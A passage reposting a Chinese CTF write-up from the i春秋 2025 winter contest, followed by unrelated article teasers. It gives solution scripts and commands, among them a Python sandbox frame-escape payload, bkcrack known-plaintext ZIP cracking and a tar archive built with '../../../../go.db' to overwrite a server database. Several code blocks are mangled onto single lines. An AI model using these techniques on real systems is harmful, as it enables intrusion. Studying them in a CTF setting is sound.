i春秋冬季赛2025个人学习总结

ops/2025/1/24 21:19:01/

鏖战三天,也就100出头,还是太菜了,简单记录一下比赛中学到的知识

misc

ezmisc

1、提示:利⽤DP泄露来求出私钥,从⽽还原私钥流解密密⽂ 2、图片经过了Arnold变换
给了一个流量包,可以从中导出一个加密的压缩包和一个密文,

还得利用dp泄露,估计是流量包里导出的私钥文件损坏了,难怪直接用来解密会是乱码
文件里 应该n 是对的,p q不对,利用dp推出d
但是 后面发现 用openssl 去解析出的d和利用dp泄露推出的是一样的,。。。
openssl解析证书文件命令

openssl rsa -text -modulus -in warmup -in key.pem

解密代码

import gmpy2
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
e = 0x10001
n = 0x00b3ee84a7c49ab1b86f206eb6891800aa9a42ec4eb1b4cdde74f767eb9e07d0820972bdd3b22b3c38ee497049521e12640a44f5c6d4601e6d735723c8a736533d9637bcc80dfb14ee0f09fbae83eb309f68621504f18b779411a8b4ec9987bfdf4aafe177d2004ea98ede04e007340514f28af8d2c786275860491b83b323d9309a48e64e66d91aecbb0f7e39ebd9ba3f87732f240c7ce911033b6157bc902163d03f56205ab6ad2918a0ff2e2a0793069f8dddabc500374a39eeafc2f139678cf673599194780c7fe49311cb2b1b2545e3c690e1db2e0c083bd6dda65848d64cbb810a424379a88bbe153ddf3c8e79e0c807ed1aa9b6874330da3559830cfa45
dp = 0x0097241a2cd4a3a6a62457ed7a08bdae4285aa8aa5c82f7413a0d8643297cb44ade7e625d29cde1a6a2d9d0c2ab67e1a816470ad4708b792f973387cfb905e473dbb2e4b70da2a4e7462f4531bc1cba0bcfb04b60e49b5eb05c34d8e9148ac12e9a9ce34d7c7af73e9c6be76942de1f035734f6b586508d157809e3e9deddffca7with open('passwd.enc','rb') as file:enc=file.read()for x in range(1,e):  #遍历Xif (dp*e-1)%x==0:p=(dp*e-1)//x +1if n%p==0:q=n//p   #得到qphi=(p-1)*(q-1)  #欧拉函数d=int(gmpy2.invert(e,phi))print(hex(d))#求逆元rsakey=RSA.construct((n,e,d))rsa=PKCS1_OAEP.new(rsakey)m=rsa.decrypt(enc)print(m)
b'M1sc_1s_s0_e@sy!'

解压得到一个图片,提示图片经过Arnold变换

在这里插入图片描述

这个变换需要两个参数a,b,爆了很多发现不行,赛后看了别人的wp发现还要爆变换次数,666
从大佬那copy的爆破脚本

import matplotlib.pyplot as plt
import cv2
import numpy as npdef arnold_decode(image, shuffle_times, a, b):""" 使用 Arnold 逆变换对 RGB 图像进行解码参数:image: 经过 Arnold 变换加密的 RGB 图像shuffle_times: 需要解码的次数a, b: Arnold 变换参数返回:解码后的图像"""# 创建一个与原图像相同大小的空白图像decode_image = np.zeros(shape=image.shape)# 获取图像的高度和宽度h, w = image.shape[0], image.shape[1]N = h  # 假设图像是正方形,N 取高度或宽度# 进行 shuffle_times 次逆变换for time in range(shuffle_times):for ori_x in range(h):for ori_y in range(w):# 使用 Arnold 逆变换公式计算新坐标new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % Nnew_y = ((-a) * ori_x + ori_y) % N# 将像素映射到新位置decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]# 更新 image 进行下一次迭代image = np.copy(decode_image)return imagedef arnold_brute(image, shuffle_times_range, a_range, b_range):"""通过遍历不同参数进行 Arnold 变换暴力破解参数:image: 加密后的图像shuffle_times_range: 试验解码次数的范围 (起始, 结束)a_range: 试验参数 a 的范围 (起始, 结束)b_range: 试验参数 b 的范围 (起始, 结束)"""for c in range(shuffle_times_range[0], shuffle_times_range[1]):for a in range(a_range[0], a_range[1]):for b in range(b_range[0], b_range[1]):print(f"[+] 尝试 shuffle_times={c} a={a} b={b}")decoded_img = arnold_decode(image, c, a, b)# 保存解码后的图像,文件名包含尝试的参数值output_filename = f"flag_decoded_c{c}_a{a}_b{b}.png"cv2.imwrite(output_filename, decoded_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])if __name__ == "__main__":# 读取加密的图像文件img = cv2.imread("flag.png")# 进行暴力破解,尝试不同参数范围arnold_brute(img, (1, 8), (1, 20), (1, 30))

最后爆出来是6次,a=16,b=26 ,爆了好久,最后这真没必要,不如再搞个啥隐写或加密 把 abc 给我们

在这里插入图片描述

nethttp

给的流量包,一开始访问web服务,给了python服务的源代码(存在ssti),执行了一些命令后,就全是bash盲注查看文件的流量了
猜测成功,回显rce,否则无回显
思路:
遍历包,如果包含file_data包含rce字符串(盲注正确的相应),就追踪它请求包的request_uri
如何追踪,通过询问gpt和观察wireshark 可知,一次的请求和响应包的tcp stream 号是相等的
一开始想的是如果找到了包含rce的,就再遍历一次,找tcp stream号相同的包,但这样非常慢,由于流量包比较大,搜索比较耗时间
后面发现FileCapture对象实现了__next__方法(可以当作可迭代对象访问,在很多pyshark的题目也是直接遍历的),
那就转为list,后发现list[0]list[1]的tcp stream号相等,看来一次请求的请求和响应都被放在了相邻的位置,那么找到包含rce的,那么访问上一个的request_uri就可以了,这样时间就快了很多,几分钟就可以了
脚本实现

import pyshark
import asyncio
import re
import base64
# 设置事件循环
loop = asyncio.ProactorEventLoop()
asyncio.set_event_loop(loop)# 定义 PCAP 文件路径
pcap_file = 'a.pcapng'
# 原理
# 捕获数据包,仅筛选 HTTP 包
cap = pyshark.FileCapture(pcap_file, eventloop=loop, display_filter='http')
lis=list(cap)
print(lis[0].tcp.stream==lis[1].tcp.stream)
with open('cmd.txt','w') as file:for i in range(len(lis)-1):http=lis[i].httpif hasattr(http,'file_data'):raw=str(http.file_data).replace(":","")data=bytes.fromhex(raw).decode('ascii')if "Welcome rce" in data:uri=str(lis[i-1].http.request_uri)cmd=base64.b64decode(re.findall(r'echo%20(.*?)%20%7C',uri)[0]).decode()print(cmd)file.write(cmd+'\n')print('命令解析成功')
# 关闭捕获
cap.close()

cmd.txt就是解码后的命令,逐个提取字符就行
在这里插入图片描述

import re
import base64
flag=''
secret=''
with open('cmd.txt','r') as file:datas=file.readlines()for data in datas:data=data.strip()if 'flag' in data:f=re.findall(r'== \'(.*?)\'',data)[0]flag+=fif 'secret' in data:s=re.findall(r'== \'(.*?)\'',data)[0]secret+=s
print(flag)
print(secret)

就是解完后的secret还是加密的,流量中有一个加密的rsa私钥,找了好久没找到密钥,没想到一开始访问服务端源码的流量中的app.config['secert_key']就是密钥
用解密后的rsa密钥解密secret即可

python jail

这题倒是不错,考察python jail的栈帧逃逸,没学过这就恶补
大佬文章,原理详细
https://pid-blog.com/article/frame-escape-pyjail#%E5%88%A9%E7%94%A8%E7%94%9F%E6%88%90%E5%99%A8%E6%A0%88%E5%B8%A7%E8%BF%9B%E8%A1%8C%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%EF%BC%8C%E4%BD%86%E4%B8%BA%E4%BB%80%E4%B9%88%EF%BC%9F
栈帧逃逸适用情况: __builtins__被置为空,常规绕过手段被ban时可考虑
这一题的限制了长度,继承链payload会太长,所以考虑栈帧逃逸,利用生成器栈帧的f_back方法,回溯多次,回溯到题目代码调用exec的栈帧,再利用f_globals就可以拿到当时的globals环境(有__builtins__),就有机会rce了,但这题不用rce,只要拿到gloalbals里的box即可拿flag
官方payload,函数使用了yield,返回的就是生成器对象,回溯到最上层,然后用for循环取获取栈帧,

import base64
"""
def b():def a(): yield g.gi_frame.f_back.f_back.f_back.f_backg=a()g=[x for x in g][0]return g.f_globals['BOX']
s=b()
"""
m = "def b():\n def a():yield g.gi_frame.f_back.f_back.f_back.f_back\n g=a();g=[x for x in g][0];return g.f_globals['BOX']\ns=b()"
p = base64.b64encode(m.encode()).decode()
print(p)
print(len(m))

音频的秘密

提示deepsound 弱口令,随手试了个123出了,然后是加密的flag.zip,里面是flag.png再没有其他信息了
经过搜索才发现可以明文攻击,就利用png文件头的那几个字节居然就可以了,以前一直以为必须要两个文件
但是明文的攻击的条件还是传统的ZIP-Crypto算法才行
在这里插入图片描述

命令

bkcrack.exe -C "D:\study\题目\ichunqiu2025\music_secret\flag.zip" -c flag.png -x 0 89504E470D0A1A0A0000000049484452

得到key 29d29517 0fa535a9 abc67696 ,然后用这个key就可以把里面的数据恢复出来

bkcrack.exe -C "D:\study\题目\ichunqiu2025\music_secret\flag.zip" -c flag.png  -k 29d29517 0fa535a9 abc67696 -d "D:\study\题目\ichunqiu2025\music_secret\flag.png"

web

web整体难度不是很大,就是第三天的两个0解,有点一言难尽

bookshelf

我反序列化写了shell,但是当时没能绕过disable_function,比赛结束才后知后觉发现可以直接用cnext(CVE-2024-2961),绕一下open_basedir就行
漏洞发现者写的利用exp
https://github.com/ambionics/cnext-exploits
比较难用,还需要py3.10以上,建议自己改一下或者用大佬修改好的,我这里推荐柯佬改的
https://github.com/kezibei/php-filter-iconv
按照readme使用即可

gotar

还是第一次做出go的题目
通过审计源代码可知,读取flag需要userid为1且是admin(jwt识别),那就需要找可能伪造jwt的点,jwt通过读取文件.env获取

上网搜到了源码中用来解压的tar组件有一个路径遍历的漏洞,可以把压缩包里的文件解压到任意目录导致文件覆盖,还能列目录,因此是路径遍历漏洞
https://github.com/cokeBeer/go-cves/blob/main/CVE-2020-26279/CVE-2020-26279.md

尝试构造…/…/…/…/.env,本地发现可以覆盖了,但还是无法成功改jwt,猜测是.env只读取一次,

后面审计代码,发现文件读取的路径都是从数据库里读出,
在这里插入图片描述

在这里插入图片描述

而且数据库采用sqlite,是从go.db文件读取的,想到覆盖db文件,本地运行项目,随便上传一个文件,生成db文件,查看表结构
![[i春秋-2.png]]
发现有个path和extarced_path参数,都改为/试试 ,然后尝试读取/flag,和列目录
在这里插入图片描述

生成tar包


import tarfile
import iodef create_tar_with_custom_content(tar_name):# 创建一个 tar 文件with tarfile.open(tar_name, 'w') as tar:# 第一个文件的内容file_name1 = '../../../../go.db'with open('go.db','rb') as file:file_content1=file.read()file_like_object1=io.BytesIO(file_content1)# 创建 TarInfo 对象并设置文件元数据tarinfo1 = tarfile.TarInfo(name=file_name1)tarinfo1.size = len(file_content1)  # 设置文件大小# 将第一个文件对象添加到 tar 存档tar.addfile(tarinfo1, file_like_object1)
# 创建 tar 文件
create_tar_with_custom_content('end.tar')

可以列目录
在这里插入图片描述

flag也是直接读出来了

在这里插入图片描述


http://www.ppmy.cn/ops/152850.html

相关文章

NPM 下载依赖超时:npm ERR! RequestError: connect ETIMEDOUT

问题描述与处理策略 1、问题描述 npm install electron --save-dev执行上述 NPM 指令安装 Electron,报如下错误 npm ERR! RequestError: connect ETIMEDOUT 20.205.243.166:443# 翻译 npm 错误 请求异常:连接 20.205.243.166:443 超时2、处理策略 &a…

Alluxio 联手 Solidigm 推出针对 AI 工作负载的高级缓存解决方案

作者:Wayne Gao, Yi Wang, Jie Chen, Sarika Mehta Alluxio 作为全球领先的 AI 缓存解决方案供应商, 提供针对 GPU 驱动 AI 负载的高速缓存。其可扩展架构支持数万个节点,能显著降低存储带宽的消耗。Alluxio 在解决 AI 存储挑战方面的前沿技…

Redis高阶3-缓存双写一致性

Redis缓存双写一致性 Redis双写一致性的理解 如果Redis中有数据 需要和数据库中的值相同 如果redis中无数据 数据库中的值要是最新值,且准备回写redis 按照操作分为两种 只读缓存 读写缓存 同步直写策略 ​ 写数据库后也同步写redis缓存,缓存和数据库…

Spring Boot 3.4 正式发布,结构化日志!

1 从 Spring Boot 3.3 升级到 3.4 1.1 RestClient 和 RestTemplate 新增对 RestClient 和 RestTemplate 自动配置的支持,可用 Reactor Netty 的 HttpClient 或 JDK 的 HttpClient。支持的客户端优先级: Apache HTTP Components (HttpComponentsClient…

Elasticsearch 和arkime 安装

安装一定要注意版本号,不然使用不了 这里Ubuntu使用ubuntu-20.04.6-desktop-amd64.iso elasticsearch这里使用Elasticsearch 7.17.5 | Elastic arkime这里使用wget https://s3.amazonaws.com/files.molo.ch/builds/ubuntu-20.04/arkime_3.4.2-1_amd64.deb 大家想…

解决 IntelliJ IDEA 项目包后出现“% classes”和“% lines covered”的问题

前言 在使用 IntelliJ IDEA 开发 Java 或其他支持的语言时,您可能会遇到项目包后面意外地出现了“% classes”和“% lines covered”的信息。这些百分比表示的是代码覆盖率(Coverage),它们展示了您的测试覆盖了多少比例的类和代码…

从根源分析,调试,定位和解决MacOS ld: unsupported tapi file type ‘!tapi-tbd‘ in YAML file

你要是遇到同样错误,找一圈都没有解决,建议认真读一下本文,这个应该是最终极的解决办法,从原理上剖析了产生的原因,同时给出来了调试和定位的办法。 maccos使用brew安装了一个gcc14, 结果编译一个最简单的程序都报错&a…

低代码系统-钉、微表单控件对比

组件对比 微搭 宜搭 数据列表 单行文本 数据详情 多行文本 表单容器 数值 数据表格 评分 普通容器 单选 网格布局 复选 卡片 日期 轮播容器 日期区间 布局组件 成员 滚动容器 图片上传 弹窗 附件 TAB栏 子表单 菜单导航 下拉单选 宫格导航 下拉复…